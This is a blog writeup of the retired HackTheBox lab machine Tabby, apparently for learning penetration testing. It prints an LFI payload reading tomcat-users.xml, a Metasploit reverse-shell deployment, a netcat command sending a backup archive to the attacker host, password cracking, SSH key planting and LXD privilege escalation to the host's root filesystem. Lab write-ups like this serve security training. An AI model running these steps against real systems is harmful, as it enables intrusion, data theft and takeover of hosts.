HTB: Tabby
Posted on 10 Nov 2020 in security • 7 min read
This article is a writeup about a retired HacktheBox machine: Tabby publish on June 20 2020 by egree55. This box is rated as an easy box. The user part implies a Local File Inclusion (LFI) and the tomcat manager. The root part implies LXC/LXD (Linux kernel containment).
User part
Recon
Let us start as always by a nmap
scan. As often with Windows Boxes, a lot of
port are open. A few interesting services are up:
- SSH on port 22
- a Web service on port 80
- a Web service (Tomcat) on port 8080
Here is the full nmap scan:
# Nmap 7.80 scan initiated Sun Jun 21 09:30:32 2020 as: nmap -p- -sSV -oN nmap 10.10.10.194
Nmap scan report for 10.10.10.194
Host is up (0.080s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open http Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web
On port 8080 we have access to the tomcat administration component but we need some credentials to access them.
The main website is about hosting services but we quickly notice that the page
news.php
has a file
parameter.
We manipulate the file and changing it to ../../../../../../../../etc/passwd
allows us to access the content of the file. We have a LFI and we want to use it
in order to access the tomcat users' file.
We try the location mentioned on the page but the file is not accessible. We need more information.
We know that the server is an Ubuntu (look at the banner in the nmap
scan).
We look at the files from the tomcat9-admin
package on the
packages.ubuntu.com website
Therefore we get the manager.xml
file but there is nothing interesting:
GET /news.php?file=../../../../../../../etc/tomcat9/Catalina/localhost/manager.xml HTTP/1.1
Host: megahosting.htb
Connection: close
Content-Length: 2
SNIP
<Context path="/manager"
docBase="/usr/share/tomcat9-admin/manager"
antiResourceLocking="false" privileged="true" />
We look at the files from the tomcat9
package still on the
packages.ubuntu.com website.
This time we will try to get the tomcat-users.xml
file. This give an user and
its password. We also notice that its permissions are for the admin-gui
and
manager-scrit
NOT the classic manager-gui
.
GET /news.php?file=../../../../../../..//usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1
Host: megahosting.htb
Connection: close
Content-Length: 2
SNIP
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
As we are lazy, we fire up metasploit
, load the tomcat_mgr_deploy
module and
set the different option. As we have the permission for manager-script
we just
need to specify that our PATH
is /manager/text
instead of manager
. We also
need to set the target to Java Universal
and the payload to
java/shell_reverse_tcp
.
msf5 exploit(multi/http/tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword $3cureP4s5w0rd123! no The password for the specified username
HttpUsername tomcat no The username to authenticate as
PATH /manager/text yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.194 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST megahosting.htb no HTTP server virtual host
Payload options (java/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.113 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Java Universal
Then we can run the exploit and get a simple shell on the box as the
tomcat
user.
msf5 exploit(multi/http/tomcat_mgr_deploy) > run
[*] Started reverse TCP handler on 10.10.14.113:4444
[*] Using manually select target "Java Universal"
[*] Uploading 13418 bytes as KFEu1gbH8s1QeOlaSH3qHMNO1H4.war ...
[*] Executing /KFEu1gbH8s1QeOlaSH3qHMNO1H4/u2A5WGIIbSw.jsp...
[*] Undeploying KFEu1gbH8s1QeOlaSH3qHMNO1H4 ...
[*] Command shell session 3 opened (10.10.14.113:4444 -> 10.10.10.194:55206) at 2020-06-21 12:36:01 -0400
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
We know from the statement on the main website (port 80) that there was a
breach. Therefore we got the main website's directory in /var/www/html
. We
found a zip archive in the files
directory. We transfer it to our kali box
using netcat (we run nc -l -p 1234 > 16162020_backup.zip
on our kali box).
cd /var/www/html
ls
assets
favicon.ico
files
index.php
logo.png
news.php
Readme.txt
ls files
16162020_backup.zip
archive
revoked_certs
statement
nc -w 3 10.10.14.177 1234 <files/16162020_backup.zip
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
We use zip2john
to get a proper hash to crack and run john
with the
rockyou
dictionary and a few rules. We quickly get the admin@it
password
and are able to extract the archive content.
$ zip2john 16162020_backup.zip > hash
16162020_backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
$ john hash -w=~/tools/password_lists/rockyou.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-06-21 14:11) 0.6289g/s 6522Kp/s 6522Kc/s 6522KC/s adnbrie..adambossmaster
Use the "--show" option to display all of the cracked passwords reliably
Session completed
As the content of the zip file is useless we "quickly" think about password
reuse. In order to use su
we need an better shell. As python
is not
installed on the box we just use perl
. Once we have a use shell we got to the
home directory and grab the user's flag.
python -c 'import pty; pty.spawn("/bin/sh")'
/bin/sh: 2: python: not found
perl -e 'exec "/bin/sh";'
su ash
Password: admin@it
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
cd
649a18cc3a17b4de465381ff93c3fc65
Root
Now that we have a shell as ash
we can just create a .ssh
directory and put
our SSH public key in the .ssh/authorized_keys
file.
cd
ls .ssh/
ls: cannot access '.ssh/': No such file or directory
mkdir .ssh/
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwES5PQLnAtM0JMAE4oyfsjruyj2bxjqZM55N5iMOGzqWt67KzQdbZYzRK5bvauo8xXtKEzzdvLNPHq0cS7v3vTiEIU3EcJGU1jjDN7tiUpUhc+KvVE0gR5JcScwGy8HSYI/PvbHiMSSH7e25r76G5EUpkxwjs4u+Kul7/24oMSvwLlI5u7R9OPTuMplfeLppp/EbVtNa/bWjFZ3CFFWFVyux/1ig16VaQXZxXJSGmElrAVUnA3eQbZYhs3ApavTnVmejz39BgNAoW0cPcXxM8t4ovNLdLxGPF728eFqABnOB/DFHkvK6oD8pdRL6IQYa5kYWx445aHZattAPv5JpGi0+Kt+kC1ZJPwn0trw2FceTOEcNhQlQ7jyAcWAUUCEMFIaJ6r85jHP0WWavCA39XwpicH/XymMBKppywqQ9+Z2GEY0MsnIvbYedkduXxCi6FrRvtWVNkI7GS52txVRvBy5U7LtwYs1DWH0tC+0C+/l+GbUTIw68Gw2msvu5HTHH+8KWxnBjwxqxySK7dXcrEJ+ZZO5HrJWJ2Gyds6CwSq9E8wo+ylkgR+4VvRq4Fc+QiQLp7WTeACo19LpC9n3z1LuQH9E0jSZGqNugO1PRzsN2HrD7VsOC0Go8+UoYGzVyrMnmR58xxDUGyXCxxss7bB6ZCB8bPGPDkQXDHpEhkeQ== kali@kali' > .ssh/authorized_keys
We can now connect to the box using SSH.
When looking at our groups we saw that we are in the lxd
group. This can lead
to a "quick" privilege escalation.
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
On our kali box we clone and build the Alpine image then we copy it to the box.
kali@kali:~$ git clone https://github.com/saghul/lxd-alpine-builder
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Receiving objects: 100% (27/27), 16.00 KiB | 4.00 MiB/s, done.
Resolving deltas: 100% (6/6), done.
kali@kali:~$ cd lxd-alpine-builder/
kali@kali:~/lxd-alpine-builder$ sudo ./build-alpine -a i686
[sudo] password for kali:
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86
<SNIP>
kali@kali:~/lxd-alpine-builder$ scp -r alpine-v3.12-i686-20200621_1247.tar.gz ash@10.10.10.194:/tmp/.plop/
We try to import the Alpine image but LXD
is not initialize so we use lxc
init
to initialize the environment with the default values.
ash@tabby:/tmp/.plop$ lxc image import ./alpine-v3.12-i686-20200621_1247.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
Image imported with fingerprint: c88a85d7bdacce8f8acc47713ad553e76b3fbb7d7027ba3cd5479e6085bba865
ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Error: No storage pool found. Please create a new storage pool
ash@tabby:/tmp/.plop$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]: ^[
Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
Then we can initialize our container, mount the whole disk on the container image and grab the root flag.
ash@tabby:/tmp/.plop$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
ash@tabby:/tmp/.plop$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
ash@tabby:/tmp/.plop$ lxc start mycontainer
ash@tabby:/tmp/.plop$ lxc exec mycontainer /bin/sh
~ # ls /mnt/root/
bin/ cdrom/ etc/ lib/ lib64/ lost+found/ mnt/ proc/ run/ snap/ swap.img tmp/ var/
boot/ dev/ home/ lib32/ libx32/ media/ opt/ root/ sbin/ srv/ sys/ usr/
~ # ls /mnt/root/root/
root.txt snap
~ # cat /mnt/root/root/root.txt
37cb707151d0433a17886caba89f81e1
We don't have a root shell for that we will need to modify /etc/shadow
in
order to modify the root password as we already did on the
cache box.
Wrapping up
This box was quit easy. The password reuse take me more time to realize as it should have been. I recommend this box to beginners.